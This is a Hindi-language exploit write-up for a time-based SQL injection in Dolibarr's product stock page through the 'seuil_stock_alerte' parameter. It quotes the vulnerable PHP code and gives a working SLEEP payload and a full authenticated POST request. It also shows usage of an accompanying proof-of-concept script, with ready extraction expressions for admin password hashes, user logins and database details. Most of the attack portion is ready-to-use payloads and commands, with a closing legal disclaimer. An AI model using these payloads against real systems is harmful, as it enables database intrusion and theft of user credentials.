
प्रति-वेयरहाउस स्टॉक अलर्ट थ्रेशोल्ड (`seuil_stock_alerte`) सेट करने के लिए जिम्मेदार एक्शन उपयोगकर्ता-नियंत्रित इनपुट स्वीकार करता है और बाद में उचित न्यूमेरिक कास्टिंग या पैरामीटर बाइंडिंग के बिना इसे SQL क्वेरी में शामिल करता है। #dolibarr #exploit
seuil_stock_alerte पैरामीटर के माध्यम से उत्पाद स्टॉक प्रबंधन कार्यक्षमता को प्रभावित करने वाला SQL इंजेक्शन।
परीक्षण और पुष्टि की गई:
seuil_stock_alerte
पैरामीटर इनके द्वारा स्वीकार किया जाता है:
/product/stock/product.php
addlimitstockwarehouse क्रिया का उपयोग करते हुए।
पैरामीटर को बिना संख्यात्मक रूपांतरण के प्राप्त किया जाता है:
$seuil_stock_alerte = GETPOST('seuil_stock_alerte');
$pse->seuil_stock_alerte = $seuil_stock_alerte;
इसके बाद यह सीधे स्ट्रिंग संयोजन के माध्यम से एक SQL कथन तक पहुँचता है:
$sql .= ' seuil_stock_alerte = '.
(isset($this->seuil_stock_alerte)
? $this->seuil_stock_alerte
: "null").',';
चूंकि मान को एक बिना उद्धरण वाले संख्यात्मक संदर्भ में डाला जाता है, एक नियमित संख्यात्मक मान के बजाय एक SQL अभिव्यक्ति प्रदान की जा सकती है।
निष्पादन प्रदर्शित करने के लिए एक बूलियन/समय-आधारित अभिव्यक्ति पर्याप्त है:
(SELECT IF((1=1),SLEEP(15),0))
उदाहरण पैरामीटर:
seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
एक सफल अनुरोध लगभग 15 सेकंड की HTTP प्रतिक्रिया देरी उत्पन्न करता है, जो इंजेक्ट की गई SQL अभिव्यक्ति के मूल्यांकन की पुष्टि करता है।
संवेदनशील क्रिया तक इस प्रकार के प्रमाणित अनुरोध के साथ पहुँचा जा सकता है:
POST /product/stock/product.php?id=1 HTTP/1.1
Host: target
Cookie: DOLSESSID_xxxxx=<session>
Content-Type: application/x-www-form-urlencoded
action=addlimitstockwarehouse&token=<csrf>&id=1&fk_entrepot=1&desiredstock=1&seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
आवश्यकताएँ:
यह समस्या एक प्रमाणित खाते के साथ पुनरुत्पादित की गई थी जिसके पास केवल:
Product → Create (produit/creer)
अनुमति थी — एक निम्न-विशेषाधिकार वाला खाता जो उत्पाद बना सकता है।
SQL इंजेक्शन निम्नलिखित को सक्षम बनाता है:
इस सिस्टम पर डेटाबेस-स्तरीय बाधाओं ने सीधे OS कमांड निष्पादन को रोक दिया।
साथ में दी गई PoC स्क्रिप्ट stock_sqli_poc.py शोषण प्रक्रिया को स्वचालित करती है:
python3 stock_sqli_poc.py \
--url http://127.0.0.1:8088 \
--proxy http://127.0.0.1:8080 \
--login webeditor \
--password 'WebEdit0r!' \
--product-id 1 \
--warehouse-id 1 \
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)" \
--length 14
| विकल्प | डिफ़ॉल्ट | विवरण |
|---|---|---|
--url | http://127.0.0.1:8088 | लक्ष्य Dolibarr इंस्टेंस URL |
--proxy | http://127.0.0.1:8080 | HTTP प्रॉक्सी (Burp, आदि)। अक्षम करने के लिए खाली स्ट्रिंग पर सेट करें |
--login | webeditor | निम्न-विशेषाधिकार खाते के लिए उपयोगकर्ता नाम |
--password | WebEdit0r! | खाता पासवर्ड |
--product-id | 1 | लक्षित करने के लिए उत्पाद ID |
--warehouse-id | 1 | लक्षित करने के लिए वेयरहाउस ID |
--delay | 1.0 | समय-आधारित पहचान के लिए SLEEP अवधि सेकंड में |
--extract | (SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1) | निकालने के लिए SQL अभिव्यक्ति |
--length | 14 | निकालने के लिए अधिकतम वर्ण लंबाई |
व्यवस्थापक पासवर्ड हैश निकालें:
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)"
उपयोगकर्ताओं की गणना करें:
--extract "(SELECT GROUP_CONCAT(login) FROM llx_user)"
डेटाबेस संस्करण:
--extract "VERSION()"
वर्तमान डेटाबेस उपयोगकर्ता:
--extract "USER()"
⚠️ कानूनी सूचना: इस शोषण का उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनके लिए आपके पास स्पष्ट लिखित प्राधिकरण है। कंप्यूटर सिस्टमों तक अनधिकृत पहुँच अवैध है। यह PoC केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है।